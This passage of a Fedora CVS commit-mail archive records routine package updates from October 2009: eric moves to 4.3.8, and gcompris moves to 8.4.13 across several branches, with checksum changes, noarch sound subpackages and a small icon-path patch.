-06240f44b92bbc0474d104b977c832ad  eric4-i18n-cs-4.3.7.1.tar.gz
-9e0d676f1d715eca4fc97d7f01cab402  eric4-i18n-de-4.3.7.1.tar.gz
-1b309a6ce80b33c163d6f9b73f47c4af  eric4-i18n-es-4.3.7.1.tar.gz
-e86d502689b63a6f592c13574f9308dc  eric4-i18n-fr-4.3.7.1.tar.gz
-b8971e78b3181a46540752e5a0131384  eric4-i18n-ru-4.3.7.1.tar.gz
-b27ae962c0a6b93366e1fd52e958d465  eric4-i18n-tr-4.3.7.1.tar.gz
-eee6f38d23944a797d70ca44334336ba  eric4-i18n-zh_CN.GB2312-4.3.7.1.tar.gz
+528fabc0cc57171143fe801282b9f2c3  eric4-4.3.8.tar.gz
+c0815f6d3a336166eb7f610b712698e3  eric4-i18n-cs-4.3.8.tar.gz
+dc089855a21f3c13c7379c24914f776d  eric4-i18n-de-4.3.8.tar.gz
+df2b57481ebccabdd3ff4c5ca295f68c  eric4-i18n-es-4.3.8.tar.gz
+894baacf3030b1fc5ba3df03373eb5de  eric4-i18n-fr-4.3.8.tar.gz
+7d371a9c9c3dcdec96b10eb296f76caf  eric4-i18n-ru-4.3.8.tar.gz
+32f6e0a075d2b828c44d3365c1a6de07  eric4-i18n-tr-4.3.8.tar.gz
+548a06e61fbfe39a5d4c533b8a5d6d9d  eric4-i18n-zh_CN.GB2312-4.3.8.tar.gz



From trasher at fedoraproject.org  Sat Oct 24 07:41:50 2009
From: trasher at fedoraproject.org (Johan Cwiklinski)
Date: Sat, 24 Oct 2009 07:41:50 +0000 (UTC)
Subject: rpms/eric/F-12 .cvsignore, 1.19, 1.20 eric.spec, 1.49, 1.50 sources,
	1.24, 1.25
Message-ID: <20091024074150.8421811C02A6@cvs1.fedora.phx.redhat.com>

Author: trasher

Update of /cvs/extras/rpms/eric/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19669

Modified Files:
	.cvsignore eric.spec sources 
Log Message:
New upstream release


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/eric/F-12/.cvsignore,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- .cvsignore	14 Sep 2009 03:33:25 -0000	1.19
+++ .cvsignore	24 Oct 2009 07:41:49 -0000	1.20
@@ -1,8 +1,8 @@
-eric4-4.3.7.1.tar.gz
-eric4-i18n-cs-4.3.7.1.tar.gz
-eric4-i18n-de-4.3.7.1.tar.gz
-eric4-i18n-es-4.3.7.1.tar.gz
-eric4-i18n-fr-4.3.7.1.tar.gz
-eric4-i18n-ru-4.3.7.1.tar.gz
-eric4-i18n-tr-4.3.7.1.tar.gz
-eric4-i18n-zh_CN.GB2312-4.3.7.1.tar.gz
+eric4-4.3.8.tar.gz
+eric4-i18n-cs-4.3.8.tar.gz
+eric4-i18n-de-4.3.8.tar.gz
+eric4-i18n-es-4.3.8.tar.gz
+eric4-i18n-fr-4.3.8.tar.gz
+eric4-i18n-ru-4.3.8.tar.gz
+eric4-i18n-tr-4.3.8.tar.gz
+eric4-i18n-zh_CN.GB2312-4.3.8.tar.gz


Index: eric.spec
===================================================================
RCS file: /cvs/extras/rpms/eric/F-12/eric.spec,v
retrieving revision 1.49
retrieving revision 1.50
diff -u -p -r1.49 -r1.50
--- eric.spec	18 Sep 2009 20:57:55 -0000	1.49
+++ eric.spec	24 Oct 2009 07:41:49 -0000	1.50
@@ -7,8 +7,8 @@
 
 Name:    eric
 Summary: Python IDE
-Version: 4.3.7.1
-Release: 2%{?dist}
+Version: 4.3.8
+Release: 1%{?dist}
 
 License: GPL+
 Group:   Development/Tools
@@ -152,6 +152,9 @@ rm -rf %{buildroot}
 %{_libdir}/qt4/qsci/api/ruby/*.api
 
 %changelog
+* Fri Oct 16 2009 Johan Cwiklinski <johan AT x-tnd DOT be> 4.3.8-1
+- 4.3.8
+
 * Fri Sep 18 2009 Johan Cwiklinski <johan AT x-tnd DOT be> 4.3.7.1-2
 - add default suffix for qt4 apps
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/eric/F-12/sources,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- sources	14 Sep 2009 03:33:26 -0000	1.24
+++ sources	24 Oct 2009 07:41:49 -0000	1.25
@@ -1,8 +1,8 @@
-c97028915201a28b9d728ff89658e522  eric4-4.3.7.1.tar.gz
-06240f44b92bbc0474d104b977c832ad  eric4-i18n-cs-4.3.7.1.tar.gz
-9e0d676f1d715eca4fc97d7f01cab402  eric4-i18n-de-4.3.7.1.tar.gz
-1b309a6ce80b33c163d6f9b73f47c4af  eric4-i18n-es-4.3.7.1.tar.gz
-e86d502689b63a6f592c13574f9308dc  eric4-i18n-fr-4.3.7.1.tar.gz
-b8971e78b3181a46540752e5a0131384  eric4-i18n-ru-4.3.7.1.tar.gz
-b27ae962c0a6b93366e1fd52e958d465  eric4-i18n-tr-4.3.7.1.tar.gz
-eee6f38d23944a797d70ca44334336ba  eric4-i18n-zh_CN.GB2312-4.3.7.1.tar.gz
+528fabc0cc57171143fe801282b9f2c3  eric4-4.3.8.tar.gz
+c0815f6d3a336166eb7f610b712698e3  eric4-i18n-cs-4.3.8.tar.gz
+dc089855a21f3c13c7379c24914f776d  eric4-i18n-de-4.3.8.tar.gz
+df2b57481ebccabdd3ff4c5ca295f68c  eric4-i18n-es-4.3.8.tar.gz
+894baacf3030b1fc5ba3df03373eb5de  eric4-i18n-fr-4.3.8.tar.gz
+7d371a9c9c3dcdec96b10eb296f76caf  eric4-i18n-ru-4.3.8.tar.gz
+32f6e0a075d2b828c44d3365c1a6de07  eric4-i18n-tr-4.3.8.tar.gz
+548a06e61fbfe39a5d4c533b8a5d6d9d  eric4-i18n-zh_CN.GB2312-4.3.8.tar.gz



From trasher at fedoraproject.org  Sat Oct 24 08:47:13 2009
From: trasher at fedoraproject.org (Johan Cwiklinski)
Date: Sat, 24 Oct 2009 08:47:13 +0000 (UTC)
Subject: rpms/gcompris/devel gcompris-8.4.13-icon.patch, NONE, 1.1 .cvsignore,
	1.18, 1.19 gcompris.spec, 1.46, 1.47 sources, 1.21,
	1.22 gcompris-8.1-icon.patch, 1.1, NONE
Message-ID: <20091024084713.55DF811C00E5@cvs1.fedora.phx.redhat.com>

Author: trasher

Update of /cvs/extras/rpms/gcompris/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31595

Modified Files:
	.cvsignore gcompris.spec sources 
Added Files:
	gcompris-8.4.13-icon.patch 
Removed Files:
	gcompris-8.1-icon.patch 
Log Message:
New upstream release (8.4.13)
Noarch for sound packages


gcompris-8.4.13-icon.patch:
 gcompris.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE gcompris-8.4.13-icon.patch ---
diff -up gcompris-8.4.13/src/gcompris/gcompris.c.patch gcompris-8.4.13/src/gcompris/gcompris.c
--- gcompris-8.4.13/src/gcompris/gcompris.c.patch	2009-10-20 07:48:56.000000000 +0200
+++ gcompris-8.4.13/src/gcompris/gcompris.c	2009-10-20 07:49:48.000000000 +0200
@@ -667,7 +667,7 @@ static void setup_window ()
    * Set an icon for gcompris
    * ------------------------
    */
-  icon_file = g_strconcat(properties->system_icon_dir, "/gcompris.png", NULL);
+  icon_file = g_strconcat("/usr/share/icons/hicolor/48x48/apps", "/gcompris.png", NULL);
 
   if(!icon_file)
       g_warning ("Couldn't find file %s !", icon_file);


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/gcompris/devel/.cvsignore,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- .cvsignore	29 Mar 2009 17:47:03 -0000	1.18
+++ .cvsignore	24 Oct 2009 08:47:11 -0000	1.19
@@ -1 +1 @@
-gcompris-8.4.12.tar.gz
+gcompris-8.4.13.tar.gz


Index: gcompris.spec
===================================================================
RCS file: /cvs/extras/rpms/gcompris/devel/gcompris.spec,v
retrieving revision 1.46
retrieving revision 1.47
diff -u -p -r1.46 -r1.47
--- gcompris.spec	24 Jul 2009 23:37:19 -0000	1.46
+++ gcompris.spec	24 Oct 2009 08:47:12 -0000	1.47
@@ -1,12 +1,12 @@
 Name:           gcompris
-Version:        8.4.12
-Release:        2%{?dist}
+Version:        8.4.13
+Release:        1%{?dist}
 Summary:        Educational suite for kids 2-10 years old
 Group:          Amusements/Games
 License:        GPLv3+
 URL:            http://gcompris.net
 Source0:        http://downloads.sourceforge.net/%{name}/%{name}-%{version}.tar.gz
-Patch0:         gcompris-8.1-icon.patch
+Patch0:         gcompris-8.4.13-icon.patch
 Patch1:         gcompris-8.3.2-tuxpaint-fullscreen.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Buildrequires:  libgnomeui-devel sqlite-devel python-devel gnet2-devel
@@ -64,6 +64,7 @@ Plus de 100 activit?s sont propos?es :
 %package sound-ar
 Summary:        GCompris voices in Arabic (Tunisia)
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-ar
 Voice samples for the GCompris games in Arabic (Tunisia).
@@ -72,6 +73,7 @@ Voice samples for the GCompris games in 
 %package sound-cs
 Summary:        GCompris voices in Tsjech
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-cs
 Voice samples for the GCompris games in Tsjech.
@@ -80,6 +82,7 @@ Voice samples for the GCompris games in 
 %package sound-da
 Summary:        GCompris voices in Danish
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-da
 Voice samples for the GCompris games in Danish.
@@ -88,6 +91,7 @@ Voice samples for the GCompris games in 
 %package sound-de
 Summary:        GCompris voices in German
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-de
 Voice samples for the GCompris games in German.
@@ -96,6 +100,7 @@ Voice samples for the GCompris games in 
 %package sound-el
 Summary:        GCompris voices in Greek
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-el
 Voice samples for the GCompris games in Greek.
@@ -104,6 +109,7 @@ Voice samples for the GCompris games in 
 %package sound-en
 Summary:        GCompris voices in English
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-en
 Voice samples for the GCompris games in English.
@@ -112,6 +118,7 @@ Voice samples for the GCompris games in 
 %package sound-es
 Summary:        GCompris voices in Spanish
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-es
 Voice samples for the GCompris games in Spanish.
@@ -120,6 +127,7 @@ Voice samples for the GCompris games in 
 %package sound-eu
 Summary:        GCompris voices in Basque
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-eu
 Voice samples for the GCompris games in Basque.
@@ -128,6 +136,7 @@ Voice samples for the GCompris games in 
 %package sound-fi
 Summary:        GCompris voices in Finish
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-fi
 Voice samples for the GCompris games in Finish.
@@ -136,6 +145,7 @@ Voice samples for the GCompris games in 
 %package sound-fr
 Summary:        GCompris voices in French
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-fr
 Voice samples for the GCompris games in French.
@@ -144,6 +154,7 @@ Voice samples for the GCompris games in 
 %package sound-hi
 Summary:        GCompris voices in Hindi
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-hi
 Voice samples for the GCompris games in Hindi.
@@ -152,6 +163,7 @@ Voice samples for the GCompris games in 
 %package sound-hu
 Summary:        GCompris voices in Hungarian
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-hu
 Voice samples for the GCompris games in Hungarian.
@@ -160,6 +172,7 @@ Voice samples for the GCompris games in 
 %package sound-id
 Summary:        GCompris voices in Indonesian
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-id
 Voice samples for the GCompris games in Indonesian.
@@ -168,6 +181,7 @@ Voice samples for the GCompris games in 
 %package sound-it
 Summary:        GCompris voices in Italian
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-it
 Voice samples for the GCompris games in Italian.
@@ -176,6 +190,7 @@ Voice samples for the GCompris games in 
 %package sound-mr
 Summary:        GCompris voices in Indian Marathi
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-mr
 Voice samples for the GCompris games in Indian Marathi.
@@ -184,6 +199,7 @@ Voice samples for the GCompris games in 
 %package sound-nb
 Summary:        GCompris voices in Norwegian
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-nb
 Voice samples for the GCompris games in Norwegian.
@@ -192,6 +208,7 @@ Voice samples for the GCompris games in 
 %package sound-nl
 Summary:        GCompris voices in Dutch
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-nl
 Voice samples for the GCompris games in Dutch.
@@ -200,6 +217,7 @@ Voice samples for the GCompris games in 
 %package sound-pt
 Summary:        GCompris voices in Portuguese
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-pt
 Voice samples for the GCompris games in Portuguese.
@@ -208,6 +226,7 @@ Voice samples for the GCompris games in 
 %package sound-ru
 Summary:        GCompris voices in Russian
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-ru
 Voice samples for the GCompris games in Russian.
@@ -216,6 +235,7 @@ Voice samples for the GCompris games in 
 %package sound-so
 Summary:        GCompris voices in Somali
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-so
 Voice samples for the GCompris games in Somali.
@@ -224,6 +244,7 @@ Voice samples for the GCompris games in 
 %package sound-sr
 Summary:        GCompris voices in Serbian
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-sr
 Voice samples for the GCompris games in Serbian.
@@ -232,6 +253,7 @@ Voice samples for the GCompris games in 
 %package sound-sv
 Summary:        GCompris voices in Swedish
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-sv
 Voice samples for the GCompris games in Swedish.
@@ -240,6 +262,7 @@ Voice samples for the GCompris games in 
 %package sound-tr
 Summary:        GCompris voices in Turk
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-tr
 Voice samples for the GCompris games in Turk.
@@ -248,6 +271,7 @@ Voice samples for the GCompris games in 
 %package flags
 Summary:        Country flags for use with GCompris (60x40 PNG)
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description flags
 Country flags for use with GCompris (60x40 PNG).
@@ -261,6 +285,8 @@ iconv -f ISO-8859-1 -t UTF8 docs/C/%{nam
 mv tmp docs/C/%{name}.info
 iconv -f ISO-8859-1 -t UTF8 AUTHORS > tmp
 mv tmp AUTHORS
+iconv -f ISO-8859-1 -t UTF8 ChangeLog > tmp
+mv tmp ChangeLog
 
 
 %build
@@ -299,6 +325,10 @@ desktop-file-install --vendor fedora --d
   --dir $RPM_BUILD_ROOT%{_datadir}/applications                         \
   $RPM_BUILD_ROOT%{_datadir}/applications/%{name}-edit.desktop
 
+#remove not needeed ".desktop" file (use for windows build)
+rm -f $RPM_BUILD_ROOT%{_datadir}/applications/nsis_translations.desktop
+
+
 mkdir -p $RPM_BUILD_ROOT/usr/share/icons/hicolor/48x48/apps
 mv $RPM_BUILD_ROOT/usr/share/pixmaps/%{name}.png \
   $RPM_BUILD_ROOT/usr/share/pixmaps/%{name}-edit.png \
@@ -503,6 +533,9 @@ fi
 
 
 %changelog
+* Sat Oct 24 2009 Johan Cwiklinski <johan AT x-tnd DOT be> 8.4.13-1
+- New upstream bugfix release 8.4.13
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 8.4.12-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/gcompris/devel/sources,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- sources	29 Mar 2009 17:47:03 -0000	1.21
+++ sources	24 Oct 2009 08:47:12 -0000	1.22
@@ -1 +1 @@
-8a1519e71caa0924d5df73faa311eea3  gcompris-8.4.12.tar.gz
+d4768c2c471da4f1eb12a82d37f54dc1  gcompris-8.4.13.tar.gz


--- gcompris-8.1-icon.patch DELETED ---



From trasher at fedoraproject.org  Sat Oct 24 10:09:38 2009
From: trasher at fedoraproject.org (Johan Cwiklinski)
Date: Sat, 24 Oct 2009 10:09:38 +0000 (UTC)
Subject: rpms/gcompris/F-12 gcompris-8.4.13-icon.patch, NONE, 1.1 .cvsignore,
	1.18, 1.19 gcompris.spec, 1.46, 1.47 sources, 1.21,
	1.22 gcompris-8.1-icon.patch, 1.1, NONE
Message-ID: <20091024100938.C346711C00E5@cvs1.fedora.phx.redhat.com>

Author: trasher

Update of /cvs/extras/rpms/gcompris/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14175

Modified Files:
	.cvsignore gcompris.spec sources 
Added Files:
	gcompris-8.4.13-icon.patch 
Removed Files:
	gcompris-8.1-icon.patch 
Log Message:
New upstream release (8.4.13)
Noarch for sound packages


gcompris-8.4.13-icon.patch:
 gcompris.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE gcompris-8.4.13-icon.patch ---
diff -up gcompris-8.4.13/src/gcompris/gcompris.c.patch gcompris-8.4.13/src/gcompris/gcompris.c
--- gcompris-8.4.13/src/gcompris/gcompris.c.patch	2009-10-20 07:48:56.000000000 +0200
+++ gcompris-8.4.13/src/gcompris/gcompris.c	2009-10-20 07:49:48.000000000 +0200
@@ -667,7 +667,7 @@ static void setup_window ()
    * Set an icon for gcompris
    * ------------------------
    */
-  icon_file = g_strconcat(properties->system_icon_dir, "/gcompris.png", NULL);
+  icon_file = g_strconcat("/usr/share/icons/hicolor/48x48/apps", "/gcompris.png", NULL);
 
   if(!icon_file)
       g_warning ("Couldn't find file %s !", icon_file);


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/gcompris/F-12/.cvsignore,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- .cvsignore	29 Mar 2009 17:47:03 -0000	1.18
+++ .cvsignore	24 Oct 2009 10:09:38 -0000	1.19
@@ -1 +1 @@
-gcompris-8.4.12.tar.gz
+gcompris-8.4.13.tar.gz


Index: gcompris.spec
===================================================================
RCS file: /cvs/extras/rpms/gcompris/F-12/gcompris.spec,v
retrieving revision 1.46
retrieving revision 1.47
diff -u -p -r1.46 -r1.47
--- gcompris.spec	24 Jul 2009 23:37:19 -0000	1.46
+++ gcompris.spec	24 Oct 2009 10:09:38 -0000	1.47
@@ -1,12 +1,12 @@
 Name:           gcompris
-Version:        8.4.12
-Release:        2%{?dist}
+Version:        8.4.13
+Release:        1%{?dist}
 Summary:        Educational suite for kids 2-10 years old
 Group:          Amusements/Games
 License:        GPLv3+
 URL:            http://gcompris.net
 Source0:        http://downloads.sourceforge.net/%{name}/%{name}-%{version}.tar.gz
-Patch0:         gcompris-8.1-icon.patch
+Patch0:         gcompris-8.4.13-icon.patch
 Patch1:         gcompris-8.3.2-tuxpaint-fullscreen.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Buildrequires:  libgnomeui-devel sqlite-devel python-devel gnet2-devel
@@ -64,6 +64,7 @@ Plus de 100 activit?s sont propos?es :
 %package sound-ar
 Summary:        GCompris voices in Arabic (Tunisia)
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-ar
 Voice samples for the GCompris games in Arabic (Tunisia).
@@ -72,6 +73,7 @@ Voice samples for the GCompris games in 
 %package sound-cs
 Summary:        GCompris voices in Tsjech
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-cs
 Voice samples for the GCompris games in Tsjech.
@@ -80,6 +82,7 @@ Voice samples for the GCompris games in 
 %package sound-da
 Summary:        GCompris voices in Danish
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-da
 Voice samples for the GCompris games in Danish.
@@ -88,6 +91,7 @@ Voice samples for the GCompris games in 
 %package sound-de
 Summary:        GCompris voices in German
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-de
 Voice samples for the GCompris games in German.
@@ -96,6 +100,7 @@ Voice samples for the GCompris games in 
 %package sound-el
 Summary:        GCompris voices in Greek
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-el
 Voice samples for the GCompris games in Greek.
@@ -104,6 +109,7 @@ Voice samples for the GCompris games in 
 %package sound-en
 Summary:        GCompris voices in English
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-en
 Voice samples for the GCompris games in English.
@@ -112,6 +118,7 @@ Voice samples for the GCompris games in 
 %package sound-es
 Summary:        GCompris voices in Spanish
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-es
 Voice samples for the GCompris games in Spanish.
@@ -120,6 +127,7 @@ Voice samples for the GCompris games in 
 %package sound-eu
 Summary:        GCompris voices in Basque
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-eu
 Voice samples for the GCompris games in Basque.
@@ -128,6 +136,7 @@ Voice samples for the GCompris games in 
 %package sound-fi
 Summary:        GCompris voices in Finish
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-fi
 Voice samples for the GCompris games in Finish.
@@ -136,6 +145,7 @@ Voice samples for the GCompris games in 
 %package sound-fr
 Summary:        GCompris voices in French
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-fr
 Voice samples for the GCompris games in French.
@@ -144,6 +154,7 @@ Voice samples for the GCompris games in 
 %package sound-hi
 Summary:        GCompris voices in Hindi
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-hi
 Voice samples for the GCompris games in Hindi.
@@ -152,6 +163,7 @@ Voice samples for the GCompris games in 
 %package sound-hu
 Summary:        GCompris voices in Hungarian
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-hu
 Voice samples for the GCompris games in Hungarian.
@@ -160,6 +172,7 @@ Voice samples for the GCompris games in 
 %package sound-id
 Summary:        GCompris voices in Indonesian
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-id
 Voice samples for the GCompris games in Indonesian.
@@ -168,6 +181,7 @@ Voice samples for the GCompris games in 
 %package sound-it
 Summary:        GCompris voices in Italian
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-it
 Voice samples for the GCompris games in Italian.
@@ -176,6 +190,7 @@ Voice samples for the GCompris games in 
 %package sound-mr
 Summary:        GCompris voices in Indian Marathi
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-mr
 Voice samples for the GCompris games in Indian Marathi.
@@ -184,6 +199,7 @@ Voice samples for the GCompris games in 
 %package sound-nb
 Summary:        GCompris voices in Norwegian
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-nb
 Voice samples for the GCompris games in Norwegian.
@@ -192,6 +208,7 @@ Voice samples for the GCompris games in 
 %package sound-nl
 Summary:        GCompris voices in Dutch
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-nl
 Voice samples for the GCompris games in Dutch.
@@ -200,6 +217,7 @@ Voice samples for the GCompris games in 
 %package sound-pt
 Summary:        GCompris voices in Portuguese
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-pt
 Voice samples for the GCompris games in Portuguese.
@@ -208,6 +226,7 @@ Voice samples for the GCompris games in 
 %package sound-ru
 Summary:        GCompris voices in Russian
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-ru
 Voice samples for the GCompris games in Russian.
@@ -216,6 +235,7 @@ Voice samples for the GCompris games in 
 %package sound-so
 Summary:        GCompris voices in Somali
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-so
 Voice samples for the GCompris games in Somali.
@@ -224,6 +244,7 @@ Voice samples for the GCompris games in 
 %package sound-sr
 Summary:        GCompris voices in Serbian
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-sr
 Voice samples for the GCompris games in Serbian.
@@ -232,6 +253,7 @@ Voice samples for the GCompris games in 
 %package sound-sv
 Summary:        GCompris voices in Swedish
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-sv
 Voice samples for the GCompris games in Swedish.
@@ -240,6 +262,7 @@ Voice samples for the GCompris games in 
 %package sound-tr
 Summary:        GCompris voices in Turk
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-tr
 Voice samples for the GCompris games in Turk.
@@ -248,6 +271,7 @@ Voice samples for the GCompris games in 
 %package flags
 Summary:        Country flags for use with GCompris (60x40 PNG)
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description flags
 Country flags for use with GCompris (60x40 PNG).
@@ -261,6 +285,8 @@ iconv -f ISO-8859-1 -t UTF8 docs/C/%{nam
 mv tmp docs/C/%{name}.info
 iconv -f ISO-8859-1 -t UTF8 AUTHORS > tmp
 mv tmp AUTHORS
+iconv -f ISO-8859-1 -t UTF8 ChangeLog > tmp
+mv tmp ChangeLog
 
 
 %build
@@ -299,6 +325,10 @@ desktop-file-install --vendor fedora --d
   --dir $RPM_BUILD_ROOT%{_datadir}/applications                         \
   $RPM_BUILD_ROOT%{_datadir}/applications/%{name}-edit.desktop
 
+#remove not needeed ".desktop" file (use for windows build)
+rm -f $RPM_BUILD_ROOT%{_datadir}/applications/nsis_translations.desktop
+
+
 mkdir -p $RPM_BUILD_ROOT/usr/share/icons/hicolor/48x48/apps
 mv $RPM_BUILD_ROOT/usr/share/pixmaps/%{name}.png \
   $RPM_BUILD_ROOT/usr/share/pixmaps/%{name}-edit.png \
@@ -503,6 +533,9 @@ fi
 
 
 %changelog
+* Sat Oct 24 2009 Johan Cwiklinski <johan AT x-tnd DOT be> 8.4.13-1
+- New upstream bugfix release 8.4.13
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 8.4.12-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/gcompris/F-12/sources,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- sources	29 Mar 2009 17:47:03 -0000	1.21
+++ sources	24 Oct 2009 10:09:38 -0000	1.22
@@ -1 +1 @@
-8a1519e71caa0924d5df73faa311eea3  gcompris-8.4.12.tar.gz
+d4768c2c471da4f1eb12a82d37f54dc1  gcompris-8.4.13.tar.gz


--- gcompris-8.1-icon.patch DELETED ---



From trasher at fedoraproject.org  Sat Oct 24 10:10:57 2009
From: trasher at fedoraproject.org (Johan Cwiklinski)
Date: Sat, 24 Oct 2009 10:10:57 +0000 (UTC)
Subject: rpms/gcompris/F-10 gcompris-8.4.13-icon.patch, NONE, 1.1 .cvsignore,
	1.15, 1.16 gcompris.spec, 1.42, 1.43 sources, 1.21,
	1.22 gcompris-8.1-icon.patch, 1.1, NONE
Message-ID: <20091024101057.0610211C00E5@cvs1.fedora.phx.redhat.com>

Author: trasher

Update of /cvs/extras/rpms/gcompris/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14338

Modified Files:
	.cvsignore gcompris.spec sources 
Added Files:
	gcompris-8.4.13-icon.patch 
Removed Files:
	gcompris-8.1-icon.patch 
Log Message:
New upstream release (8.4.13)
Noarch for sound packages


gcompris-8.4.13-icon.patch:
 gcompris.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE gcompris-8.4.13-icon.patch ---
diff -up gcompris-8.4.13/src/gcompris/gcompris.c.patch gcompris-8.4.13/src/gcompris/gcompris.c
--- gcompris-8.4.13/src/gcompris/gcompris.c.patch	2009-10-20 07:48:56.000000000 +0200
+++ gcompris-8.4.13/src/gcompris/gcompris.c	2009-10-20 07:49:48.000000000 +0200
@@ -667,7 +667,7 @@ static void setup_window ()
    * Set an icon for gcompris
    * ------------------------
    */
-  icon_file = g_strconcat(properties->system_icon_dir, "/gcompris.png", NULL);
+  icon_file = g_strconcat("/usr/share/icons/hicolor/48x48/apps", "/gcompris.png", NULL);
 
   if(!icon_file)
       g_warning ("Couldn't find file %s !", icon_file);


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/gcompris/F-10/.cvsignore,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- .cvsignore	8 Aug 2008 22:02:46 -0000	1.15
+++ .cvsignore	24 Oct 2009 10:10:56 -0000	1.16
@@ -1 +1 @@
-gcompris-8.4.6.tar.gz
+gcompris-8.4.13.tar.gz


Index: gcompris.spec
===================================================================
RCS file: /cvs/extras/rpms/gcompris/F-10/gcompris.spec,v
retrieving revision 1.42
retrieving revision 1.43
diff -u -p -r1.42 -r1.43
--- gcompris.spec	29 Mar 2009 18:40:09 -0000	1.42
+++ gcompris.spec	24 Oct 2009 10:10:56 -0000	1.43
@@ -1,12 +1,12 @@
 Name:           gcompris
-Version:        8.4.12
+Version:        8.4.13
 Release:        1%{?dist}
 Summary:        Educational suite for kids 2-10 years old
 Group:          Amusements/Games
 License:        GPLv3+
 URL:            http://gcompris.net
 Source0:        http://downloads.sourceforge.net/%{name}/%{name}-%{version}.tar.gz
-Patch0:         gcompris-8.1-icon.patch
+Patch0:         gcompris-8.4.13-icon.patch
 Patch1:         gcompris-8.3.2-tuxpaint-fullscreen.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Buildrequires:  libgnomeui-devel sqlite-devel python-devel gnet2-devel
@@ -64,6 +64,7 @@ Plus de 100 activit?s sont propos?es :
 %package sound-ar
 Summary:        GCompris voices in Arabic (Tunisia)
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-ar
 Voice samples for the GCompris games in Arabic (Tunisia).
@@ -72,6 +73,7 @@ Voice samples for the GCompris games in 
 %package sound-cs
 Summary:        GCompris voices in Tsjech
 Group:          Amusements/Games
+BuildArch:      noarch
 
 %description sound-cs
